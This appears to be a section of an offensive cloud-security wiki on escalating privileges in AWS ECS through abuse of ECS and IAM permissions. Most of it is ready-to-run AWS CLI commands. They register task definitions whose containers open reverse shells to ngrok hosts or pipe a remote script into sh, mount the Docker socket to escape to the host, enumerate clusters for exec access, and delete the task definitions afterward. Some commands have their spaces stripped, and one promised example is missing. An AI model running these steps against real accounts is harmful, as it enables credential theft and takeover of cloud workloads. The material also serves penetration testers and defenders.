An attacker abusing the iam:PassRole, ecs:RegisterTaskDefinition and ecs:RunTask permission in ECS can generate a new task definition with a malicious container that steals the metadata credentials and run it.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arnarn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode"awsvpc" \--cpu256--memory512\--requires-compatibilities"[\"FARGATE\"]" \--container-definitions"[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"# Run task definitionawsecsrun-task--task-definitioniam_exfiltration \--clusterarn:aws:ecs:eu-west-1:947247140022:cluster/API \--launch-typeFARGATE \--network-configuration"{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"# Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
Potential Impact: Direct privesc to a different ECS role.
Just like in the previous example an attacker abusing the iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask permissions in ECS can generate a new task definition with a malicious container that steals the metadata credentials and run it.
However, in this case, a container instance to run the malicious task definition need to be.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arnarn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode"awsvpc" \--cpu256--memory512\--container-definitions"[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"awsecsstart-task--task-definitioniam_exfiltration \--container-instances<instance_id># Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
Just like in the previous example an attacker abusing the iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService or ecs:CreateService permissions in ECS can generate a new task definition with a malicious container that steals the metadata credentials and run it by creating a new service with at least 1 task running.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn"$ECS_ROLE_ARN" \--network-mode"awsvpc" \--cpu256--memory512\--requires-compatibilities"[\"FARGATE\"]" \--container-definitions"[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"# Run the task creating a serviceawsecscreate-service--service-nameexfiltration \--task-definitioniam_exfiltration \--desired-count1 \--cluster"$CLUSTER_ARN" \--launch-typeFARGATE \--network-configuration"{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"# Run the task updating a serviceawsecsupdate-service--cluster<CLUSTERNAME> \--service<SERVICENAME> \--task-definition<NEWTASKDEFINITIONNAME>
Actually, just with those permissions it's possible to use overrides to executer arbitrary commands in a container with an arbitrary role with something like:
This scenario is like the previous ones but without the iam:PassRole permission.
This is still interesting because if you can run an arbitrary container, even if it's without a role, you could run a privileged container to escape to the node and steal the EC2 IAM role and the other ECS containers roles running in the node.
You could even force other tasks to run inside the EC2 instance you compromise to steal their credentials (as discussed in the Privesc to node section).
This attack is only possible if the ECS cluster is using EC2 instances and not Fargate.
printf'[ { "name":"exfil_creds", "image":"python:latest", "entryPoint":["sh", "-c"], "command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], "mountPoints": [ { "readOnly": false, "containerPath": "/var/run/docker.sock", "sourceVolume": "docker-socket" } ] }]'>/tmp/task.jsonprintf'[ { "name": "docker-socket", "host": { "sourcePath": "/var/run/docker.sock" } }]'>/tmp/volumes.jsonawsecsregister-task-definition--familyiam_exfiltration \--cpu256--memory512 \--requires-compatibilities'["EC2"]' \--container-definitionsfile:///tmp/task.json \--volumesfile:///tmp/volumes.jsonawsecsrun-task--task-definitioniam_exfiltration \--clusterarn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \--launch-typeEC2# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
An attacker with the ecs:ExecuteCommand, ecs:DescribeTasks can execute commands inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run aws ecs execute-command).
However, in order to do that, the container instance need to be running the ExecuteCommand agent (which by default isn't).
Therefore, the attacker cloud try to:
Try to run a command in every running container
# List enableExecuteCommand on each taskfor cluster in $(awsecslist-clusters|jq.clusterArns|grep'"'|cut-d'"'-f2); doecho"Cluster $cluster"for task in $(awsecslist-tasks--cluster"$cluster"|jq.taskArns|grep'"'|cut-d'"'-f2); doecho" Task $task"# If true, it's your lucky dayawsecsdescribe-tasks--cluster"$cluster"--tasks"$task"|grepenableExecuteCommanddonedone# Execute a shell in a containerawsecsexecute-command--interactive \--command"sh" \--cluster"$CLUSTER_ARN" \--task"$TASK_ARN"
If he has ecs:RunTask, run a task with aws ecs run-task --enable-execute-command [...]
If he has ecs:StartTask, run a task with aws ecs start-task --enable-execute-command [...]
If he has ecs:CreateService, create a service with aws ecs create-service --enable-execute-command [...]
If he has ecs:UpdateService, update a service with aws ecs update-service --enable-execute-command [...]
You can find examples of those options in previous ECS privesc sections.
Potential Impact: Privesc to a different role attached to containers.
ssm:StartSession
Check in the ssm privesc page how you can abuse this permission to privesc to ECS:
An attacker with the permissions ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, and ecs:DescribeTaskSets can create a malicious task set for an existing ECS service and update the primary task set. This allows the attacker to execute arbitrary code within the service.
bashCopycode#Registerataskdefinitionwithareverseshellecho'{ "family": "malicious-task", "containerDefinitions": [ { "name": "malicious-container", "image": "alpine", "command": [ "sh", "-c", "apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" ] } ]}'>malicious-task-definition.jsonawsecsregister-task-definition--cli-input-jsonfile://malicious-task-definition.json# Create a malicious task set for the existing serviceawsecscreate-task-set--clusterexisting-cluster--serviceexisting-service--task-definitionmalicious-task--network-configuration"awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"# Update the primary task set for the serviceawsecsupdate-service-primary-task-set--clusterexisting-cluster--serviceexisting-service--primary-task-setarn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
Potential Impact: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data.
